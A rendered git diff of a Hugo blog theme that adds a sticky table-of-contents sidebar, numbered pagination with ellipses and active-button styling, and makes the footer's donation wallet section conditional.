|
|
||||||
|
@media (min-width: 1840px) {
|
||||||
|
display: block !important;
|
||||||
|
position: absolute;
|
||||||
|
top: 100vh;
|
||||||
|
height: calc(100% - 100vh - 380px);
|
||||||
|
|
||||||
|
.toc-content {
|
||||||
|
position: sticky;
|
||||||
|
top: 10vh;
|
||||||
|
max-height: 70vh;
|
||||||
|
margin-left: calc(-300px - 100px);
|
||||||
|
display: flex !important;
|
||||||
|
flex-direction: column;
|
||||||
|
width: 300px;
|
||||||
|
|
||||||
|
::-webkit-scrollbar {
|
||||||
|
width: 6px;
|
||||||
|
height: 6px;
|
||||||
|
background: darken($light-background, 10%);
|
||||||
|
border-radius: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar-thumb {
|
||||||
|
background: darken($light-background, 25%);
|
||||||
|
border-radius: 8px;
|
||||||
|
|
||||||
|
&:hover {
|
||||||
|
background: darken($light-background, 40%);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.dark-theme & {
|
||||||
|
::-webkit-scrollbar {
|
||||||
|
background: lighten($dark-background, 10%);
|
||||||
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar-thumb {
|
||||||
|
background: lighten($dark-background, 25%);
|
||||||
|
|
||||||
|
&:hover {
|
||||||
|
background: lighten($dark-background, 40%);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.toc-title {
|
||||||
|
font-size: 1.375rem;
|
||||||
|
min-height: calc(1.625rem * 1.3);
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
nav {
|
||||||
|
overflow-y: auto;
|
||||||
|
margin-top: 1em;
|
||||||
|
}
|
||||||
|
|
||||||
|
a {
|
||||||
|
display: block;
|
||||||
|
text-decoration: none;
|
||||||
|
padding: 5px;
|
||||||
|
border-radius: 8px;
|
||||||
|
|
||||||
|
&:hover {
|
||||||
|
background: darken($light-background, 10%);
|
||||||
|
|
||||||
|
.dark-theme & {
|
||||||
|
background: lighten($dark-background, 10%);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
&.current-toc {
|
||||||
|
background: darken($light-background, 10%);
|
||||||
|
|
||||||
|
.dark-theme & {
|
||||||
|
background: lighten($dark-background, 10%);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
&::before {
|
||||||
|
content: "- ";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ul,
|
||||||
|
ol {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
|
||||||
|
li::marker {
|
||||||
|
content: "";
|
||||||
|
}
|
||||||
|
|
||||||
|
li a {
|
||||||
|
padding-left: 20px;
|
||||||
|
}
|
||||||
|
li li a {
|
||||||
|
padding-left: 40px;
|
||||||
|
}
|
||||||
|
li li li a {
|
||||||
|
padding-left: 60px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -109,98 +109,3 @@
|
|||||||
margin: 0 5px;
|
margin: 0 5px;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
.pagination {
|
|
||||||
margin-top: 20px;
|
|
||||||
|
|
||||||
&__title {
|
|
||||||
display: flex;
|
|
||||||
text-align: center;
|
|
||||||
position: relative;
|
|
||||||
margin: 20px 0;
|
|
||||||
|
|
||||||
&-h {
|
|
||||||
text-align: center;
|
|
||||||
margin: 0 auto;
|
|
||||||
padding: 5px 10px;
|
|
||||||
background: $light-background;
|
|
||||||
color: $light-color-secondary;
|
|
||||||
font-size: 0.8rem;
|
|
||||||
text-transform: uppercase;
|
|
||||||
text-decoration: none;
|
|
||||||
letter-spacing: 0.1em;
|
|
||||||
z-index: 1;
|
|
||||||
|
|
||||||
.dark-theme & {
|
|
||||||
background: $dark-background;
|
|
||||||
color: $dark-color-secondary;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
hr {
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
right: 0;
|
|
||||||
width: 100%;
|
|
||||||
margin-top: 15px;
|
|
||||||
z-index: 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
&__buttons {
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
justify-content: center;
|
|
||||||
|
|
||||||
a {
|
|
||||||
text-decoration: none;
|
|
||||||
font-weight: bold;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
.button {
|
|
||||||
position: relative;
|
|
||||||
display: inline-flex;
|
|
||||||
align-items: center;
|
|
||||||
justify-content: center;
|
|
||||||
background: $light-background-secondary;
|
|
||||||
font-size: 1rem;
|
|
||||||
font-weight: 600;
|
|
||||||
border-radius: 8px;
|
|
||||||
max-width: 40%;
|
|
||||||
padding: 0;
|
|
||||||
cursor: pointer;
|
|
||||||
appearance: none;
|
|
||||||
|
|
||||||
.dark-theme & {
|
|
||||||
background: $dark-background-secondary;
|
|
||||||
}
|
|
||||||
|
|
||||||
+ .button {
|
|
||||||
margin-left: 10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
a {
|
|
||||||
display: flex;
|
|
||||||
padding: 8px 16px;
|
|
||||||
text-decoration: none;
|
|
||||||
text-overflow: ellipsis;
|
|
||||||
white-space: nowrap;
|
|
||||||
overflow: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
&__text {
|
|
||||||
text-overflow: ellipsis;
|
|
||||||
white-space: nowrap;
|
|
||||||
overflow: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
&.next .button__icon {
|
|
||||||
margin-left: 8px;
|
|
||||||
}
|
|
||||||
|
|
||||||
&.previous .button__icon {
|
|
||||||
margin-right: 8px;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -4,6 +4,7 @@
|
|||||||
text-align: left;
|
text-align: left;
|
||||||
padding: 20px;
|
padding: 20px;
|
||||||
margin: 20px auto;
|
margin: 20px auto;
|
||||||
|
position: relative;
|
||||||
|
|
||||||
@media #{$media-size-tablet} {
|
@media #{$media-size-tablet} {
|
||||||
max-width: 600px;
|
max-width: 600px;
|
||||||
@@ -73,7 +74,7 @@
|
|||||||
|
|
||||||
&-cover {
|
&-cover {
|
||||||
border-radius: 8px;
|
border-radius: 8px;
|
||||||
margin: 30px -5.20%;
|
margin: 30px -5.2%;
|
||||||
width: 110%;
|
width: 110%;
|
||||||
max-width: 110%;
|
max-width: 110%;
|
||||||
text-decoration: none;
|
text-decoration: none;
|
||||||
@@ -168,9 +169,19 @@
|
|||||||
align-items: center;
|
align-items: center;
|
||||||
justify-content: center;
|
justify-content: center;
|
||||||
|
|
||||||
a {
|
ul, ol {
|
||||||
|
list-style-type: none;
|
||||||
|
margin: 0;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
margin: 0 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button a {
|
||||||
text-decoration: none;
|
text-decoration: none;
|
||||||
font-weight: bold;
|
font-weight: bold;
|
||||||
|
overflow: visible;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -189,15 +200,27 @@
|
|||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
appearance: none;
|
appearance: none;
|
||||||
|
|
||||||
|
&:disabled, &[disabled], &.disabled {
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
&.active {
|
||||||
|
background: darken($light-background-secondary, 20%);
|
||||||
|
}
|
||||||
|
|
||||||
.dark-theme & {
|
.dark-theme & {
|
||||||
background: $dark-background-secondary;
|
background: $dark-background-secondary;
|
||||||
|
|
||||||
|
&.active {
|
||||||
|
background: lighten($dark-background-secondary, 22%);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
+ .button {
|
+ .button {
|
||||||
margin-left: 10px;
|
margin-left: 10px;
|
||||||
}
|
}
|
||||||
|
|
||||||
a {
|
> * {
|
||||||
display: flex;
|
display: flex;
|
||||||
padding: 8px 16px;
|
padding: 8px 16px;
|
||||||
text-decoration: none;
|
text-decoration: none;
|
||||||
@@ -206,6 +229,10 @@
|
|||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
a {
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
&__text {
|
&__text {
|
||||||
text-overflow: ellipsis;
|
text-overflow: ellipsis;
|
||||||
white-space: nowrap;
|
white-space: nowrap;
|
||||||
|
|||||||
@@ -10,10 +10,6 @@
|
|||||||
<div class="content content-list">{{ .Content }}</div>
|
<div class="content content-list">{{ .Content }}</div>
|
||||||
{{- end }}
|
{{- end }}
|
||||||
|
|
||||||
{{- if .Paginator.HasPrev }}
|
|
||||||
{{ partial "pagination.html" . }}
|
|
||||||
{{- end }}
|
|
||||||
|
|
||||||
<div class="posts-list">
|
<div class="posts-list">
|
||||||
{{ range $paginator.Pages }}
|
{{ range $paginator.Pages }}
|
||||||
<div class="post">
|
<div class="post">
|
||||||
|
|||||||
@@ -38,13 +38,13 @@
|
|||||||
{{- partial "image.html" (dict "path" .Params.Cover "alt" (.Title | plainify) "class" "post-cover") }}
|
{{- partial "image.html" (dict "path" .Params.Cover "alt" (.Title | plainify) "class" "post-cover") }}
|
||||||
{{- end }}
|
{{- end }}
|
||||||
|
|
||||||
{{- if .Params.toc }}
|
{{- if not (eq .Params.toc false) }}
|
||||||
<hr />
|
<aside id="toc" class="{{- if not .Params.toc }}desktop-only{{- end }}">
|
||||||
<aside id="toc">
|
<div class="toc-content">
|
||||||
<div class="toc-title">{{ i18n "tableOfContents" }}</div>
|
<div class="toc-title">{{ i18n "tableOfContents" }}</div>
|
||||||
{{ .TableOfContents }}
|
{{ .TableOfContents }}
|
||||||
|
</div>
|
||||||
</aside>
|
</aside>
|
||||||
<hr />
|
|
||||||
{{- end }}
|
{{- end }}
|
||||||
|
|
||||||
<div class="post-content">
|
<div class="post-content">
|
||||||
|
|||||||
@@ -16,6 +16,7 @@
|
|||||||
</a>
|
</a>
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
|
{{- if .Site.Params.wallets }}
|
||||||
<div class="footer__content__section donations">
|
<div class="footer__content__section donations">
|
||||||
{{- with .Site.Params.wallets }}
|
{{- with .Site.Params.wallets }}
|
||||||
{{- range . }}
|
{{- range . }}
|
||||||
@@ -24,6 +25,7 @@
|
|||||||
{{- end }}
|
{{- end }}
|
||||||
{{- end }}
|
{{- end }}
|
||||||
</div>
|
</div>
|
||||||
|
{{- end }}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</footer>
|
</footer>
|
||||||
@@ -1,20 +1,46 @@
|
|||||||
<div class="pagination">
|
<div class="pagination">
|
||||||
<div class="pagination__buttons">
|
<div class="pagination__buttons">
|
||||||
{{ if .Paginator.HasPrev }}
|
{{- if .Paginator.HasPrev }}
|
||||||
<span class="button previous">
|
<span class="button previous">
|
||||||
<a href="{{ .Paginator.Prev.URL }}">
|
<a href="{{ .Paginator.Prev.URL }}">
|
||||||
<span class="button__icon">←</span>
|
<span class="button__icon">←</span>
|
||||||
<span class="button__text">Newer posts</span>
|
<span class="button__text">Previous</span>
|
||||||
</a>
|
</a>
|
||||||
</span>
|
</span>
|
||||||
{{ end }}
|
{{- end }}
|
||||||
{{ if .Paginator.HasNext }}
|
{{- with .Paginator }}
|
||||||
|
{{- $currentPage := .PageNumber }}
|
||||||
|
{{- $totalPages := .TotalPages }}
|
||||||
|
{{- if gt $totalPages 1 }}
|
||||||
|
<ol>
|
||||||
|
{{- range .Pagers }}
|
||||||
|
{{- $isFirst := eq .PageNumber 1 }}
|
||||||
|
{{- $isLast := eq .PageNumber $totalPages }}
|
||||||
|
{{- $inWindow := and (ge .PageNumber (sub $currentPage 2)) (le .PageNumber (add $currentPage 2)) }}
|
||||||
|
{{- $showPrevEllipsis := and (gt $currentPage 4) (eq .PageNumber 2) }}
|
||||||
|
{{- $showNextEllipsis := and (lt $currentPage (sub $totalPages 3)) (eq .PageNumber (sub $totalPages 1)) }}
|
||||||
|
{{- if or $showPrevEllipsis $showNextEllipsis }}
|
||||||
|
<li class="button disabled">
|
||||||
|
<span class="button__text">…</span>
|
||||||
|
</li>
|
||||||
|
{{- else if or $isFirst $isLast $inWindow }}
|
||||||
|
<li class="button {{- if eq $currentPage .PageNumber }} disabled active{{ end }}">
|
||||||
|
<a href="{{ .URL }}">
|
||||||
|
<span class="button__text">{{ .PageNumber }}</span>
|
||||||
|
</a>
|
||||||
|
</li>
|
||||||
|
{{- end }}
|
||||||
|
{{- end }}
|
||||||
|
</ol>
|
||||||
|
{{- end }}
|
||||||
|
{{- end }}
|
||||||
|
{{- if .Paginator.HasNext }}
|
||||||
<span class="button next">
|
<span class="button next">
|
||||||
<a href="{{ .Paginator.Next.URL }}">
|
<a href="{{ .Paginator.Next.URL }}">
|
||||||
<span class="button__text">Older posts</span>
|
<span class="button__text">Next</span>
|
||||||
<span class="button__icon">→</span>
|
<span class="button__icon">→</span>
|
||||||
</a>
|
</a>
|
||||||
</span>
|
</span>
|
||||||
{{ end }}
|
{{- end }}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -10,10 +10,6 @@
|
|||||||
<div class="content content-list">{{ .Content }}</div>
|
<div class="content content-list">{{ .Content }}</div>
|
||||||
{{- end }}
|
{{- end }}
|
||||||
|
|
||||||
{{- if .Paginator.HasPrev }}
|
|
||||||
{{ partial "pagination.html" . }}
|
|
||||||
{{- end }}
|
|
||||||
|
|
||||||
<div class="posts-list masonry">
|
<div class="posts-list masonry">
|
||||||
{{ range $paginator.Pages }}
|
{{ range $paginator.Pages }}
|
||||||
<div class="post">
|
<div class="post">
|
||||||
|
|||||||
Reference in New Issue
Block a user